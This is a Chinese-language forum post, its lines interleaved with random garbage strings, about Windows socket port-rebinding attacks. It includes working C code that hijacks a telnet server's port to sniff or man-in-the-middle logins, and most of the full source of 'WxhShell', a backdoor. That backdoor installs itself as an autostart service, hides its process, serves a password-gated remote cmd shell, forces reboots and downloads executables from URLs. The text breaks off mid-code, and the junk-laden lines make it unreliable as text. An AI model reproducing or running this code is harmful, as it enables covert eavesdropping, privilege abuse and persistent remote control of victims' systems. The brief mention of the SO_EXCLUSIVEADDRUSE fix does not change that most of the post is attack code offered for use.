在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(L*<CV s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
m.68ctaa N4l}5(e saddr.sin_family = AF_INET;
aTwBRm
]&OI.p saddr.sin_addr.s_addr = htonl(INADDR_ANY);
*?pnTQs^ YYhN>d$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_>J`e7j+ F~sUfqiJ' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
f^)iv
]p WD@v<Wx) 这意味着什么?意味着可以进行如下的攻击:
=Eb$rc) ;}H*|"z;! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
VVbFn9+V Van=dzG 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N~ajrv}kd 'Q"Mu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
uD\rmO{ ++ZP
X'| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
a@^)?cH!z 7Ue&y8Yf 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
w7c0jIf{ XS$#\UQ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
y~'%PUN >8|V[-H 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ZypK''&oc \M;cF"e-S #include
qpjiQ,\:b #include
O^n\lik #include
G-| #include
67Ev$a_d" DWORD WINAPI ClientThread(LPVOID lpParam);
#&b<D2d int main()
cTQ._|M {
`CRF E5 WORD wVersionRequested;
0oe2X1.% DWORD ret;
j;I(w [@P WSADATA wsaData;
Lvrflx*Q BOOL val;
2sj:
&][R SOCKADDR_IN saddr;
mU]pK5 SOCKADDR_IN scaddr;
nErr &{C int err;
5me#/NqLHY SOCKET s;
c!GJS`/ SOCKET sc;
p=V1M-
int caddsize;
{v"Y!/
[z HANDLE mt;
9g|99Z DWORD tid;
e8M0Lz#} wVersionRequested = MAKEWORD( 2, 2 );
DVt^O[ err = WSAStartup( wVersionRequested, &wsaData );
#qARcxbK| if ( err != 0 ) {
_>bk'V7 printf("error!WSAStartup failed!\n");
TR%8O; return -1;
7m %[$X` }
wq|7sk{ saddr.sin_family = AF_INET;
Nza@6nI" oIniy{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
p
+nh] 6n|][! f saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4+89 M saddr.sin_port = htons(23);
[_`@V4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k;K-6<^h {
;oO_5[,M printf("error!socket failed!\n");
C~WWuju' return -1;
Tz~a. h@ }
6E2#VT>@/ val = TRUE;
??P%. //SO_REUSEADDR选项就是可以实现端口重绑定的
_4T7Vg'' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
KAi_+/]K_ {
VUOe7c= printf("error!setsockopt failed!\n");
R?y_tho4A return -1;
4];>O }
lavy?tFer //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
hkRqtpYK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
f&txg,W,yv //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
96S$Y~G#& fCZ"0P3( if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
l;$FR4}d {
&-!$qUli ret=GetLastError();
l](!2a=[ printf("error!bind failed!\n");
NV==[$ (r return -1;
Uw| -d[! }
A
H=%6oT2 listen(s,2);
i/Nc)kKL while(1)
KE~.f( {
D2J)qCK1) caddsize = sizeof(scaddr);
C^c<s //接受连接请求
bc NyB$S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\qTp#sF if(sc!=INVALID_SOCKET)
^y%8_r& {
JDW/Mc1bh mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1Y%lt5,* if(mt==NULL)
H?FiZy*[Y {
s8 u`v1 printf("Thread Creat Failed!\n");
q#1G4l. break;
|
O 9 b }
-d thY(8 }
h6bvUI+|h CloseHandle(mt);
eC WF0a }
F+?i{$ closesocket(s);
XfflD9M WSACleanup();
&g>MZ"Z| return 0;
cP4C<UG }
<FAbImE} DWORD WINAPI ClientThread(LPVOID lpParam)
e&E7_ {
{:=W)
37U SOCKET ss = (SOCKET)lpParam;
:hcOceNz SOCKET sc;
.wUnN8crQ unsigned char buf[4096];
K:% MhH- SOCKADDR_IN saddr;
auqN8_+= long num;
\t`Vq JLyu DWORD val;
5!pNo*QK DWORD ret;
bSn={O"M //如果是隐藏端口应用的话,可以在此处加一些判断
rCsC}2O //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}@/Ox saddr.sin_family = AF_INET;
yMzy!b Ky saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Qmb+%z saddr.sin_port = htons(23);
;JgSA&'e if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1]Cbi7 {
xFJT&=Af W printf("error!socket failed!\n");
wWSw0 H/ return -1;
a8v\H8@X }
>rSCf= val = 100;
kM@e_YtpY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
bxO[y<|XL {
j}K3YfH ret = GetLastError();
T!Tp:&O- return -1;
(/Jy9=~ }
t=My=pG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V|F/ynJfA {
\){_\{& ret = GetLastError();
Pa#Jwo return -1;
X}5"ZLa7l }
.gNziDO
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ut C<TBr {
\So)g)K printf("error!socket connect failed!\n");
P[$idRS& closesocket(sc);
P.g./8N`z closesocket(ss);
Z\]LG4N? return -1;
v~W;&{ }
qx9;"Ut while(1)
c<~DYe;; {
mkPqxzxbrL //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
MiKq| //如果是嗅探内容的话,可以再此处进行内容分析和记录
j^v<rCzc( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`c|H^*RC num = recv(ss,buf,4096,0);
Z0O0Q =e\Y if(num>0)
B*E"yB\NV send(sc,buf,num,0);
I[gPW7&S@ else if(num==0)
WvoIh4] break;
9$qw&j[ num = recv(sc,buf,4096,0);
-e?n4YO*\ if(num>0)
DZLEx{cm send(ss,buf,num,0);
?R4u>AHS@ else if(num==0)
,\1Rf. break;
N)a5~<fBG }
{?++T 0 closesocket(ss);
KY0<N9{ closesocket(sc);
&U CtyCz return 0 ;
U%Hcck' }
nv7)X2jja }sJ}c}b m(dW["8D ==========================================================
fZS'e{V R?,v:S&i7; 下边附上一个代码,,WXhSHELL
ew~uOG+ 7/fJQM ==========================================================
T,Q7 YI 3RI6+Cgmn #include "stdafx.h"
T~SkFZ %Wm) #include <stdio.h>
s jaaZx1 #include <string.h>
<lU(9)
L;& #include <windows.h>
R#?atL$( #include <winsock2.h>
F9tWJJUsr #include <winsvc.h>
53.jx38xS #include <urlmon.h>
#6mw CA| Uqx@9z( #pragma comment (lib, "Ws2_32.lib")
oK<H/76x #pragma comment (lib, "urlmon.lib")
tNOOaj9mw [#SO}'1n #define MAX_USER 100 // 最大客户端连接数
l}T@Cgt #define BUF_SOCK 200 // sock buffer
beT[7uVj_ #define KEY_BUFF 255 // 输入 buffer
:/Z1$xS m(1ot M9 #define REBOOT 0 // 重启
foY]RkW9 #define SHUTDOWN 1 // 关机
<VQ@I &oJ[ *pQ #define DEF_PORT 5000 // 监听端口
a@9W'/?igk |mdf u= #define REG_LEN 16 // 注册表键长度
0R0_UvsXU #define SVC_LEN 80 // NT服务名长度
n$h+_xN $GQEdVSNo // 从dll定义API
- K"L6m| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
6/p9ag] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
M?<iQxtyb} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.:B0(4Mj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
a3z_o)" >MhZ(&iD // wxhshell配置信息
q1 BpE8 struct WSCFG {
Qw_>
l}k/ int ws_port; // 监听端口
;NAKU char ws_passstr[REG_LEN]; // 口令
;<6S\ int ws_autoins; // 安装标记, 1=yes 0=no
>}C:EnECy char ws_regname[REG_LEN]; // 注册表键名
1N{ >00 char ws_svcname[REG_LEN]; // 服务名
(y\.uPu! char ws_svcdisp[SVC_LEN]; // 服务显示名
P!)F1U]!
char ws_svcdesc[SVC_LEN]; // 服务描述信息
a^X% (@Sg char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Nv=% R int ws_downexe; // 下载执行标记, 1=yes 0=no
y1Wb/ d char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\q^dhY>) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4(Y-TFaf uKJo5%> };
y]!mN =%u=ma; // default Wxhshell configuration
CSwB+yN struct WSCFG wscfg={DEF_PORT,
M:d|M|' "xuhuanlingzhe",
mZ3Z8q}%P 1,
&Ot9"Aq: "Wxhshell",
,?%o ~ "Wxhshell",
C nD3%% "WxhShell Service",
V=PK)FJ "Wrsky Windows CmdShell Service",
\[8uE,=| "Please Input Your Password: ",
N
;n55N 1,
N[DKA1Ei "
http://www.wrsky.com/wxhshell.exe",
%+;am Rb "Wxhshell.exe"
@ kba^z };
Q'j00/K &`-e; Xt // 消息定义模块
yV6U<AP$3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
})q8{Qj! char *msg_ws_prompt="\n\r? for help\n\r#>";
/nt%VLms% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!HW?/-\,O char *msg_ws_ext="\n\rExit.";
O-~cj7
0\ char *msg_ws_end="\n\rQuit.";
MRK3Cey} % char *msg_ws_boot="\n\rReboot...";
OKj\>3 char *msg_ws_poff="\n\rShutdown...";
*Ct
^jU7 char *msg_ws_down="\n\rSave to ";
P`_Q-vu 6$csFW3R char *msg_ws_err="\n\rErr!";
X&@>M} char *msg_ws_ok="\n\rOK!";
wLg@BSC. Y]B9*^d< char ExeFile[MAX_PATH];
q'Y)Y(d int nUser = 0;
u=#_8e(9Z HANDLE handles[MAX_USER];
Cs,t:ajP int OsIsNt;
,ob)6P^rw Q%V530
P; SERVICE_STATUS serviceStatus;
u2U+uD@yA SERVICE_STATUS_HANDLE hServiceStatusHandle;
wNh\pWA ]*{tno // 函数声明
^5FwYXAxi int Install(void);
UVsF !0 int Uninstall(void);
fnFIw=d int DownloadFile(char *sURL, SOCKET wsh);
1=~ ##/at int Boot(int flag);
0Yr-Q;O<f void HideProc(void);
OPv~1h<[ int GetOsVer(void);
e4.G9( int Wxhshell(SOCKET wsl);
:<1PCX2 void TalkWithClient(void *cs);
=RlAOgJ int CmdShell(SOCKET sock);
gA2]kZg int StartFromService(void);
)Oj{x0{\Q int StartWxhshell(LPSTR lpCmdLine);
sX`by\s, |~Vq"6` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&iJvkt VOID WINAPI NTServiceHandler( DWORD fdwControl );
RTL@WI WtMDHfwqu\ // 数据结构和表定义
}\W^$e- SERVICE_TABLE_ENTRY DispatchTable[] =
0F&(}`V {
`2HNQiK'@ {wscfg.ws_svcname, NTServiceMain},
<*ME&cgh4 {NULL, NULL}
DM(c :+K- };
^X:g C9 sHSg _/| // 自我安装
5hlS2fn int Install(void)
N_VWA.JHt {
-e *(+ char svExeFile[MAX_PATH];
- KaU@t HKEY key;
cA!o
xti strcpy(svExeFile,ExeFile);
'^,|8A2 uC 2{
Mmy // 如果是win9x系统,修改注册表设为自启动
V?jot<|$ if(!OsIsNt) {
o&?:pE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l<s6Uu" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
D}nRH@<` RegCloseKey(key);
9t&m\J
>8; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z.U8d( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;W@ RegCloseKey(key);
g'.(te | return 0;
-&np/tEu& }
;7mE%1X }
N6!9QIu~i }
PD:lI]:s else {
m=^ihQ X`k#/~+0 // 如果是NT以上系统,安装为系统服务
OkQtM
nq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
oUN;u*
if (schSCManager!=0)
1@^*tffL: {
kAAD&t;w SC_HANDLE schService = CreateService
kY~o3p< (
6CNxb schSCManager,
Mqmy*m[U wscfg.ws_svcname,
5VE9DTE wscfg.ws_svcdisp,
A_|X54}w& SERVICE_ALL_ACCESS,
Twk,R. O SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\U HI%1^ SERVICE_AUTO_START,
6"GHVFB SERVICE_ERROR_NORMAL,
tI+P&L" svExeFile,
I@I-QiI NULL,
]_:j+6i NULL,
5R*55@)
NULL,
#pWeMt' NULL,
VP"C|j^I NULL
;:w0%>X^ );
T<u QhPMw if (schService!=0)
1u_< 1X3 {
"pQ)5/e CloseServiceHandle(schService);
F{
sPQf' CloseServiceHandle(schSCManager);
dpB\= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
x I(X+d`` strcat(svExeFile,wscfg.ws_svcname);
Y;>D"C.. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
j55OG~) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5_Oxl6# RegCloseKey(key);
*|3G"B{w6 return 0;
w(!COu }
*o#P)H }
[^\HP]*Q{ CloseServiceHandle(schSCManager);
_4X3g%nXl }
-AM(- }
!u=A9i! ac/<N% return 1;
4+B
OS ~ }
^ZDpG2(zk QlH,-]N$L // 自我卸载
d0G d5% int Uninstall(void)
T1YbF/M' {
KO=H!Em\l HKEY key;
Kbqx)E$iL D+CP?} / if(!OsIsNt) {
b%UbTb, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2NZC,znQ RegDeleteValue(key,wscfg.ws_regname);
}x?2 txuu RegCloseKey(key);
^7V{nT@H3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M1e79p< RegDeleteValue(key,wscfg.ws_regname);
ZKoISuM RegCloseKey(key);
O|Y~^:ny return 0;
_K<Z }
~)]R }
YC =:W }
78FLy7 else {
M IR))j; URDXyAt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
w8(z\G_0 if (schSCManager!=0)
E)Cdw%}^ {
[D<"qT^*z6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
?9:~d#p if (schService!=0)
2D'$ {
bt0Q6v5 if(DeleteService(schService)!=0) {
,];QzENw CloseServiceHandle(schService);
W$Op/ CloseServiceHandle(schSCManager);
*dX
7 return 0;
t4r%EP|Zt }
U6LENY+Ja CloseServiceHandle(schService);
oaM3#QJ }
|HA1.Y= CloseServiceHandle(schSCManager);
1t< nm) }
|)b:@q3k+n }
lD@`xq.M; ;&ypvKG return 1;
)LjW=;(b }
pij%u< .5GGZfJ] // 从指定url下载文件
|,WP) int DownloadFile(char *sURL, SOCKET wsh)
,*d<hBGbh {
a0
8Wt HRESULT hr;
\jHIjFwQ
char seps[]= "/";
w ;xbQZ|+ char *token;
m53~Ysq< char *file;
d9.~W5^fC char myURL[MAX_PATH];
m-MfFEZ char myFILE[MAX_PATH];
"aJfW Q;0g strcpy(myURL,sURL);
0{!+N6MiR token=strtok(myURL,seps);
uxsi+vkI while(token!=NULL)
L_Lhmtm}m {
@agxu-Y file=token;
KU*XRZu) token=strtok(NULL,seps);
Q;y)6+VU4 }
3u~V&jl %v,a3^Qu GetCurrentDirectory(MAX_PATH,myFILE);
$`6Q\=*R/ strcat(myFILE, "\\");
cOvdC4 strcat(myFILE, file);
s1%th"e
[ send(wsh,myFILE,strlen(myFILE),0);
O("13cU send(wsh,"...",3,0);
8>a%L?BY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
{P!1VYs5 if(hr==S_OK)
4O:y
?D/e return 0;
F8d:7`lO@/ else
(KnU-E]L return 1;
_tR?WmNH= *`~]XM@H }
pMLTXqL .1A/hAdU // 系统电源模块
QpiA~4 int Boot(int flag)
Oe"nNvu/ {
ANq3r( HANDLE hToken;
GtpBd40" TOKEN_PRIVILEGES tkp;
-X_dY>>s 9|qzFmE# if(OsIsNt) {
rIQ%X`Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
D /bF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
,qT+Vqpr{ tkp.PrivilegeCount = 1;
f yhBfA:u tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[SU;U['7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
kB-]SD# if(flag==REBOOT) {
.0?A0D?sP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
BKk+<#Ti return 0;
vX<^x2~9( }
G?<uw RV else {
,j e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
f:KZP;/[c return 0;
aXh~w<5F }
)8*}-z }
\"1%>O* else {
@cu#rWiG if(flag==REBOOT) {
\/F*JPhy if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
XWag+K return 0;
\%|%C }
sMgRpem; else {
O 4'/C]B2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ky@ZEp= return 0;
JiFB<Q\ }
`CY c>n" }
mKuY=#R P <ZjT4>< return 1;
y_LFkZ }
AwWo,Y399h |./{,", // win9x进程隐藏模块
;.Y-e
Q, void HideProc(void)
@wcrtf~{)& {
.,<w_= q0 L\{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
p9![8VU if ( hKernel != NULL )
ToM1#]4 {
_0"s6D$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
bi[g4,`Z; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=d#(n M* FreeLibrary(hKernel);
[,sm]/Xlc }
jr/IU=u*v "P
yG;N!W return;
wWQt }
1xjWD30
z-_$P)[c // 获取操作系统版本
~Z' /b|x<3 int GetOsVer(void)
~-
eB {
E?S OSVERSIONINFO winfo;
^j7>Ul, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*JF7 B GetVersionEx(&winfo);
`Gh J)WA< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
pU1miA ' return 1;
B["jndyr else
ca<OG;R^ return 0;
DdqE6qE }
xM=?ES Jk;dtLL}4 // 客户端句柄模块
QXEz[R int Wxhshell(SOCKET wsl)
Y 2[ik< {
c!N#nt_< SOCKET wsh;
7n]ukqZ struct sockaddr_in client;
lofP$ DWORD myID;
S/dj])g yM('!iG*/ while(nUser<MAX_USER)
GD%qrK? {
{9vMc int nSize=sizeof(client);
8Y [4JXUK wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
v^aI+p6 if(wsh==INVALID_SOCKET) return 1;
9XmbHS[0V pgBIYeY, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
YRQ?:a{H if(handles[nUser]==0)
z}F^HQ1 closesocket(wsh);
2TgS
) else
uAu'2M,_ nUser++;
9r>iP L2H }
9SXpZ*Sx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
3hcWR'| SB,#y>Zv? return 0;
ce:wF#Qs }
>Se-5QtLcf Kx02 2rgDU // 关闭 socket
EQ]>^VE2B void CloseIt(SOCKET wsh)
N
;Cs? C {
+/ ?oyC+Z closesocket(wsh);
(-xVW#39 nUser--;
iy|;xBI, ExitThread(0);
`NfwW: }
JA% y{Wb 08/Tk+ // 客户端请求句柄
B.L _EIw void TalkWithClient(void *cs)
poy_?7G {
ZEs^b m -0}Pe9L SOCKET wsh=(SOCKET)cs;
mQ3gp&d3W char pwd[SVC_LEN];
5w5"rcV char cmd[KEY_BUFF];
0E9 lv"3o char chr[1];
,/Q`gRBh" int i,j;
hqa6aYY x <5zr|BTF]F while (nUser < MAX_USER) {
Zt}b}Bz -$I$z o if(wscfg.ws_passstr) {
EAHdt=8W{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
OZ/"W)
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vAjog])9s //ZeroMemory(pwd,KEY_BUFF);
h+w1 D} * i=0;
WW-}c;cnK while(i<SVC_LEN) {
?
M.'YB2 XB a^
A // 设置超时
*ZIX76y<!A fd_set FdRead;
iD/+#UTY struct timeval TimeOut;
|h6,.#n FD_ZERO(&FdRead);
vhzz(UPUt FD_SET(wsh,&FdRead);
oJ|m/i) TimeOut.tv_sec=8;
<)
-]'@*c TimeOut.tv_usec=0;
5=V 29 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
SNf~%B?`L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&yI>A1 :;\xyy}A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Gp=V%w\FDW pwd
=chr[0]; fi%lN_Ev?
if(chr[0]==0xd || chr[0]==0xa) { >^SQrB
pwd=0; _o&NbDH
break; lT~WP)
} k"E|E";B
i++; yv: Op\;R
} &3SmTg
%
H9Vn(A8&`
// 如果是非法用户,关闭 socket `JyI`@,!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); op3a*KG
} {kvxz
X9?0`6Li
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]Bs{9=2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0IZF%`
r.c:QY$
while(1) { A@-U#UvN
&da:{
ZeroMemory(cmd,KEY_BUFF); ?1r<`o3l\
{XV'C@B
// 自动支持客户端 telnet标准 !_oR/)
j=0; uX%$3k
while(j<KEY_BUFF) { . BX*C
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TaF;PGjVw
cmd[j]=chr[0]; QB !%
if(chr[0]==0xa || chr[0]==0xd) { 2*]
[M,L0c
cmd[j]=0; a'd=szt
break; iiWpmE<,
} G-,0mo
j++; OLV3.~T
} >CwI(vXn
Eo6qC?5<
// 下载文件 $LcMG,8%_
if(strstr(cmd,"http://")) { b1G6'~U -
send(wsh,msg_ws_down,strlen(msg_ws_down),0); '&$zgK9T?
if(DownloadFile(cmd,wsh)) X&Sah}0V&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;f=.SJF
else GL,[32~C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e
[6F }."c
} Ggy?5N7P
else { N^AlhR^
Spn)M79
switch(cmd[0]) { /1uGsE+[
h iK}&
// 帮助 P@%L.y
B
case '?': { jy_4W!4a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C0/G1\
break; ^ >
?C
} ^/#8 "
// 安装 h"'}Z^
case 'i': { )1$H7|
if(Install()) JIqg[Mao
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G[u{! 2RS
else : %uaaFl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d[nz0LI|mk
break; U* uMMb}$
} b *3h}n;
// 卸载 \HQ.Pwr 6
case 'r': { Ocn@JOg
if(Uninstall()) qEVpkvEq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =NSunW!
else d(Hqj#`-31
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0fK#:6
break; (:h&c6'S)b
} =W>a ~e]/
// 显示 wxhshell 所在路径 <fA}_BH%]
case 'p': { ltMcEv-d0
char svExeFile[MAX_PATH]; =
uepg@J
strcpy(svExeFile,"\n\r"); =@q,/FR-
strcat(svExeFile,ExeFile); UMT}2d%
send(wsh,svExeFile,strlen(svExeFile),0); B\l 0kiNT
break; |;^$IZSsz
} lR mVeq:
// 重启 [nlq(DGJhp
case 'b': { K<%8.mZ7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p["pGsf
if(Boot(REBOOT)) fI'+4
)@x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rq\<zx]au
else { edZBQmx+#
closesocket(wsh); ?6L8#"=
ExitThread(0); ;e9&WEG_\
} [57`V&c5
break; J3B+WD]
} 5@
Hg 4.
// 关机 HiD%BL>%
case 'd': { /gex0w
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1/6}E]-F
if(Boot(SHUTDOWN)) |cC&,8O:{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U-U(_W5&
else { _lRIS_^;eE
closesocket(wsh); P
m&^rC;
ExitThread(0); Q]/{6:C
} _c-(T&u<
break; I]3!M`IMG
} CkNh3'<wg
// 获取shell @W~aoq6
case 's': { W@zuN)U
CmdShell(wsh); !1A< jL
closesocket(wsh); L"0?g(<
5
ExitThread(0); fN:FD`
break; S@y?E}
} H
]!P[?
// 退出 ;lt8~ea
case 'x': { uD[T l
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H\a\xCP3
CloseIt(wsh); 2Uu!_n}tNF
break; {M=*>P]E
} VN$7r
// 离开 ?ef7%0
case 'q': { rEbH<|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); NgF"1E
closesocket(wsh); bQ&%6'ck
WSACleanup(); pd.unEWwF
exit(1); )h{+pK
break; kpNp}b8']
} tZFpxyF
} 'Asr,[]?
} @xBO[v
<Q`3;ca^
// 提示信息 nKI?Sc
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \MPbG$ ^
} 2]FRIy
d
} tCPK_Wws?Z
"5?1S-Vl
return; @gM}&G08
} xVN!w\0
2U"2L^oKI
// shell模块句柄 :JZV=@<T
int CmdShell(SOCKET sock) 9E0x\%2K
{ FU.?n)P
STARTUPINFO si; F[W0gjUc
ZeroMemory(&si,sizeof(si)); z+CX$.Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *O\lR-z!k
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wm9wnAy
PROCESS_INFORMATION ProcessInfo; ;:>q;%
char cmdline[]="cmd"; <P@O{Xi+K
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ! CJ*zZ*
return 0; 3UKd=YsJ
} Q}a(vlZ
G)_Zls2;
// 自身启动模式 1K R4Wq@
int StartFromService(void) <(V~eo
e
{ kLpq{GUv:
typedef struct lvNi/jk
{ $xF[j9nM
DWORD ExitStatus; _N>#/v)Yi
DWORD PebBaseAddress; _+~&t9A!
DWORD AffinityMask; >hV2p/D
DWORD BasePriority; o|#F@L3i
